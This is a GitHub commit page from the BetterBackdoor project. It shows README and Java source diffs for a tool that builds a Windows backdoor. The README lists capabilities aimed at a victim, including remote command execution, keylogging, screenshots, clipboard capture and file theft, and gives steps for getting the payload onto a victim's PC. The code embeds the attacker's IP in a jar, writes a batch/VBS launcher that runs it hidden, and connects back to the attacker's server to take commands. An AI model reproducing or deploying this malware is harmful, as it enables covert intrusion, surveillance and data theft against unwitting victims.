Skip to content

Commit

Permalink
Merge pull request #12 from ThatcherDev/develop
Browse files Browse the repository at this point in the history
Removed scripts folder
  • Loading branch information
thatcherclough authored Nov 10, 2019
2 parents a3d9822 + 8eb01f6 commit 19e68ed
Show file tree
Hide file tree
Showing 13 changed files with 351 additions and 333 deletions.
30 changes: 18 additions & 12 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,12 +1,12 @@
# BetterBackdoor
A backdoor is a program run on a machine that is used to remotely gain access and controll to that machine.
A backdoor is a tool used to gain remote access to a machine.

Typically, backdoor utilities such as Netcat have 2 main functions, to pipe remote input into cmd or bash, and output the response.
Typically, backdoor utilities such as NetCat have 2 main functions: to pipe remote input into cmd or bash and output the response.
This is useful, but it is also limited.
BetterBackdoor overcomes these limitations by including the ability to inject keystrokes, get screenshots, transfer files, and many other tasks.

## Features
BetterBackdoor can create and controll a backdoor.
BetterBackdoor can create and control a backdoor.

This created backdoor can:
- Run Command Prompt commands
Expand All @@ -18,27 +18,34 @@ This created backdoor can:
- Start a KeyLogger
- Get a screenshot of victim's computer
- Get text copied to victim's clipboard
- Get data from a victim's file (cat)
- Get contents from a victim's file (cat)

This backdoor uses a client and server socket connection to communicate.
The attacker starts a server and the victim connects to this server as a client.
Once a connection is established, commands can be sent to the client in order to control the backdoor.

To create the backdoor, BetterBackdoor:
- Copies backdoor jar file to a new directory called 'backdoor' created in the current working direcotry.
- If desired, copies a Java Runtime Environment to 'backdoor' and creates batch file 'run.bat 'for running the backdoor in the packaged Java Runtime Environment.
- Copies all '.duck' DuckyScripts and '.ps1' PowerShell scripts to 'backdoor'.
- Creates 'run.jar', the backdoor jar file, and copied it to directory 'backdoor'.
- Appends a text file containing the server's IPv4 address to 'run.jar'.
- If desired, copies a Java Runtime Environment to 'backdoor' and creates batch file 'run.bat' for running the backdoor in the packaged Java Runtime Environment.

To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC.

If you packaged a JRE with the backdoor, execute run.bat, otherwise execute run.jar.
If a JRE is packaged with the backdoor, execute run.bat, otherwise execute run.jar.

This will start the backdoor on the victim's PC.

Once running, to control the backdoor you must return to BetterBackdoor and run option 1 at start while connected to the same WiFi network as the victim's computer.

## Demo
<a href="https://asciinema.org/a/6K0SOY7W8u7ligNoP3s912kwY" target="_blank"><img src="https://asciinema.org/a/6K0SOY7W8u7ligNoP3s912kwY.svg" width="600"/></a>

## Requirements
- A Java JDK distribution >=1.8 must be installed and added to PATH.
- A Java JDK distribution >=8 must be installed and added to PATH.
- You must use the same computer to create and control the backdoor.
- The computer used to create the backdoor must be on the same WiFi network as the victim's computer.
- The IPv4 address of this computer must remain static in the time between creating the backdoor and controlling it.
- The computer used to control the backdoor must have their firewall deactivated and must run BetterBackdoor as 'sudo' (if run on Mac or Linux).
- The computer used to control the backdoor must have their firewall deactivated, and if the computer has a Unix OS, must run BetterBackdoor as 'sudo'.

## Compatibility
BetterBackdoor is compatible with Windows, Mac, and Linux, while the backdoor is only compatible with Windows.
Expand All @@ -65,10 +72,9 @@ sh mvnw clean package

## Usage
```
# run BetterBackdoor
java -jar betterbackdoor.jar
```

## License
- [MIT](https://choosealicense.com/licenses/mit/)
- Copyright 2019 © ThatcherDev.
- Copyright 2019 © ThatcherDev.
8 changes: 0 additions & 8 deletions scripts/ExfilBrowserCreds.ps1

This file was deleted.

1 change: 0 additions & 1 deletion scripts/altf4.duck

This file was deleted.

Original file line number Diff line number Diff line change
Expand Up @@ -12,56 +12,60 @@ public class BetterBackdoor {
public final static Scanner sc = new Scanner(System.in);
public final static String os = System.getProperty("os.name");

/**
* Starts BetterBackdoor.
*
* @param args command line arguments
*/
public static void main(String[] args) {
System.out.println("_________ __ __ __________ __ .___\n"
+ "\\_____ \\ _____/ |__/ |_ __________\\______ \\______ ____ | | __ __| _/____ ___________ \n"
+ " | | _// __ \\ __\\ __\\/ __ \\_ __ \\ | _/\\__ \\ _/ ___\\| |/ // __ |/ _ \\ / _ \\_ __ \\\n"
+ " | | \\ ___/| | | | \\ ___/| | \\/ | \\ / __ \\\\ \\___| </ /_/ ( <_> | <_> ) | \\/\n"
+ " |______ /\\___ >__| |__| \\___ >__| |______ /(____ /\\___ >__|_ \\____ |\\____/ \\____/|__|\n"
+ " \\/ \\/ \\/ \\/ \\/ \\/ \\/ \\/");
System.out.println("Welcome to BetterBackdoor");
System.out.println("A backdoor creating and controlling tool.\n");
System.out.println("Welcome to BetterBackdoor\n");
System.out.println("Select:");
System.out.println("[0] Create backdoor");
System.out.println("[1] Open backdoor shell");
String choice = getInput("op01");
if (choice.equals("1"))
Shell.start();
boolean jre = false;
if (os.contains("Windows")) {
if (choice.equals("0")) {
boolean jre = false;
if (os.contains("Windows")) {
System.out.println(
"Would you like to package the Java Runtime Environment from your computer with the backdoor\nso it can be run on computers without Java installed?(y/n):");
jre = Boolean.parseBoolean(getInput("yn"));
} else
System.out.println(
"If you would like to package a Java Runtime Environment with the backdoor so it can be run on computers without Java,\n"
+ "in the current working directory create folder 'jre' containing 'bin' and 'lib' directories from a Windows JRE distribution.\n");
System.out.println("Press ENTER to create backdoor...");
sc.nextLine();
System.out.println("Creating...\n");
try {
Setup.create(jre);
} catch (Exception e) {
if (e.getMessage() == null)
error("Could not create backdoor");
else
error("Could not create backdoor:\n" + e.getMessage());
}
System.out.println("Created!\n");
System.out.println(
"Would you like to package the Java Runtime Environment from your computer with the backdoor\nso it can be run on computers without Java installed?(y/n):");
jre = Boolean.parseBoolean(getInput("yn"));
} else if (os.contains("Linux") || os.contains("Mac"))
System.out.println(
"If you would like to package a Java Runtime Environment with the backdoor so it can be run on computers without Java,\n"
+ "create folder 'jre' in current directory with 'bin' and 'lib' folders from a Windows JRE distribution.\n");
System.out.println("Place all desired '.duck' DuckyScripts and '.ps1' PowerShell scripts in scripts\n");
System.out.println("Press ENTER to create backdoor...");
sc.nextLine();
System.out.println("Creating...\n");
try {
Setup.create(jre);
} catch (Exception e) {
error("Could not create backdoor:\n" + e.getMessage());
}
System.out.println("Created!\n");
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
}
System.out.println(
"To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC.\n"
+ "If you packaged a JRE with the backdoor, execute run.bat, otherwise execute run.jar.\n"
+ "This will start the backdoor on the victim's PC.\n");
System.out.println("Press ENTER to exit...");
sc.nextLine();
"To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC.\n"
+ "If a JRE is packaged with the backdoor, execute run.bat, otherwise execute run.jar.\n"
+ "This will start the backdoor on the victim's PC.\n"
+ "To control the backdoor, return to BetterBackdoor and run option 1 at start.\n");
System.out.println("Press ENTER to exit...");
sc.nextLine();
} else
Shell.start();
}

/**
* Get user input and verify it's validity with {@link type}.
* Gets user input and verify it's validity with {@link type}.
*
* @param type type of input needed
* @param type type of input
* @return user input
*/
public static String getInput(String type) {
Expand Down Expand Up @@ -92,12 +96,12 @@ else if (type.equals("yn"))
}

/**
* Displays error message.
* Displays "An error occurred" followed by {@link errorMessage} and exits.
*
* @param errorMessage message to display
* @param errorMessage error message to display
*/
public static void error(String errorMessage) {
System.out.println("An error occurred:\n" + errorMessage + "\n");
System.exit(0);
}
}
}
55 changes: 28 additions & 27 deletions src/main/java/com/github/thatcherdev/betterbackdoor/Setup.java
Original file line number Diff line number Diff line change
Expand Up @@ -20,8 +20,17 @@
public class Setup {

/**
* Copys and creates all necesarry files and directories needed for a working
* backdoor to directory "backdoor".
* Sets up backdoor.
* <p>
* If {@link packageJre} is true, copies the current machines JRE to directory
* 'backdoor' and {@link #createBat(String, String, String)} is used to create a
* '.bat' file for running the backdoor in the JRE. If {@link packageJre} is
* false but directory 'jre' containing a Windows JRE distribution exists, 'jre'
* is copied to 'backdoor' and {@link #createBat(String, String, String)} is
* used to create a '.bat' file for running the backdoor in the JRE. 'run.jar'
* is copied from 'target' to 'backdoor' and 'ip', a text file containing the
* current machine's IPv4 address, is appended into it using
* {@link #appendJar(String, String, String)}.
*
* @param packageJre if a JRE should be packaged with backdoor
* @throws IOException
Expand All @@ -33,59 +42,51 @@ public static void create(boolean packageJre) throws IOException {
new File("backdoor" + File.separator + "jre" + File.separator + "bin"));
FileUtils.copyDirectory(new File(jrePath + File.separator + "lib"),
new File("backdoor" + File.separator + "jre" + File.separator + "lib"));
} else if ((BetterBackdoor.os.contains("Linux") || BetterBackdoor.os.contains("Mac"))
&& new File("jre").isDirectory()) {
createBat("backdoor" + File.separator + "run.bat");
} else if (new File("jre").isDirectory()) {
FileUtils.copyDirectory(new File("jre"), new File("backdoor" + File.separator + "jre"));
createBat("backdoor" + File.separator + "run.bat", "jre", "run");
createBat("backdoor" + File.separator + "run.bat");
}
FileUtils.copyDirectory(new File("scripts"), new File("backdoor" + File.separator + "scripts"));
FileUtils.copyFile(new File("target" + File.separator + "run.jar"),
new File("backdoor" + File.separator + "run.jar"));
appendJar("backdoor" + File.separator + "run.jar", "ip", Utils.crypt(Utils.getIP(), "BetterBackdoorIP"));
appendJar("backdoor" + File.separator + "run.jar", "ip", Utils.getIP());
}

/**
* Creates a '.bat' batch file for running a jar file in a Java Runtime
* Environment.
*
* @param filePath Path of '.bat' batch file to create.
* @param jrePath Path to jre.
* @param jarName Name of '.jar' file to run.
* @param filePath path of '.bat' batch file to create
* @throws FileNotFoundException
*/
private static void createBat(String filePath, String jrePath, String jarName) throws FileNotFoundException {
private static void createBat(String filePath) throws FileNotFoundException {
PrintWriter out = new PrintWriter(new File(filePath));
out.println(
"@echo off\n%~d0 & cd %~dp0\necho Set objShell = WScript.CreateObject(\"WScript.Shell\")>run.vbs\necho objShell.Run \"cmd /c if exist "
+ jrePath + "\\ (" + jrePath + "\\bin\\java " + "-jar " + jarName + ".jar) else (java -jar "
+ jarName
+ ".jar)\", ^0, True>>run.vbs\nstart run.vbs\ncall:delvbs\n:delvbs\nif exist run.vbs (\n timeout 3 > nul\n del run.vbs\n @exit\n"
"@echo off\n%~d0 & cd %~dp0\necho Set objShell = WScript.CreateObject(\"WScript.Shell\")>run.vbs\necho objShell.Run \"cmd /c "
+ "jre\\bin\\java -jar run.jar\", ^0, True>>run.vbs\nstart run.vbs\ncall:delvbs\n:delvbs\nif exist run.vbs (\n timeout 3 > nul\n del run.vbs\n @exit\n"
+ ") else (\ncall:delvbs\n)\ngoto:eof");
out.flush();
out.close();
}

/**
* Puts a new file with name {@link newFile} and contents
* {@link newFileContents} into existing jar file with name {@link jarFile}.
* Appends a new file with name {@link filename} and contents
* {@link fileContents} into existing jar file with name {@link jarFile}.
*
* @param jarFile name of jar file to put new file with name
* {@link newFile} in
* @param newFile name of new file to put in jar file with name
* {@link jarFile}
* @param newFileContents contents of new file with name {@link newFile} to put
* in jar file
* @param jarFile name of jar file to append
* @param filename name of new file to append in jar
* @param fileContents contents of new file to append in jar
* @throws IOException
*/
private static void appendJar(String jarFile, String newFile, String newFileContents) throws IOException {
private static void appendJar(String jarFile, String filename, String fileContents) throws IOException {
Map<String, String> env = new HashMap<>();
env.put("create", "true");
try (FileSystem fileSystem = FileSystems.newFileSystem(URI.create("jar:" + Paths.get(jarFile).toUri()), env)) {
try (Writer writer = Files.newBufferedWriter(fileSystem.getPath(newFile), StandardCharsets.UTF_8,
try (Writer writer = Files.newBufferedWriter(fileSystem.getPath(filename), StandardCharsets.UTF_8,
StandardOpenOption.CREATE)) {
writer.write(newFileContents);
writer.write(fileContents);
writer.close();
}
}
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,6 @@
import java.io.PrintWriter;
import java.net.Socket;
import java.util.Scanner;
import com.github.thatcherdev.betterbackdoor.backend.Utils;

public class Backdoor {

Expand All @@ -24,28 +23,29 @@ public static void main(String[] args) {
}

/**
* Uses {@link #readFromJar(String)} to get the contents of "ip", an encrypted
* plain text file, inside the jar file this class is running from, with the
* IPv4 address of the server. Creates directory "gathered".
* Constructs a new Backdoor.
* <p>
* Uses {@link #readFromJar(String)} to get the contents of "ip", a text file
* inside the jar file this class will be running from. This file contains the
* IPv4 address of the server to be used to control the backdoor. Sets
* {@link #ip} to this address. Creates directory "gathered".
*/
private Backdoor() {
try {
ip = Utils.crypt(readFromJar("/ip"), "BetterBackdoorIP");
ip = readFromJar("/ip");
new File("gathered").mkdir();
} catch (Exception e) {
System.exit(0);
}
}

/**
* Starts backdoor shell.
* Starts backdoor.
* <p>
* Attempts to connect to server with {@link ip} on port 1025. Once connected,
* initiates {@link in} and {@link out} and starts infinite loop that gets
* command from server with {@link in} and handles command with
* {@link HandleCommand#handle(String command)}. If exception is thrown,
* {@link socket}, {@link in}, and {@link out} are closed and {@link #start()}
* is run.
* Attempts to connect to the server with the ip address {@link #ip} on port
* 1025. Once connected, starts a loop that continuously gets commands from the
* server and handles commands with
* {@link HandleCommand#handle(String command)}.
*/
private void start() {
try {
Expand Down Expand Up @@ -79,11 +79,11 @@ private void start() {
}

/**
* Gets the contents of the file with name {@link filename} from inside the jar
* file this class is running from.
* Gets the contents of the file with the name {@link filename} from inside the
* jar file this class will be running from.
*
* @param filename name of file
* @return contents of file with name {@link filename}
* @param filename name of the file to get contents of
* @return contents of the file
*/
private String readFromJar(String filename) {
String ret = null;
Expand All @@ -92,4 +92,4 @@ private String readFromJar(String filename) {
in.close();
return ret;
}
}
}
Loading

0 comments on commit 19e68ed

Please sign in to comment.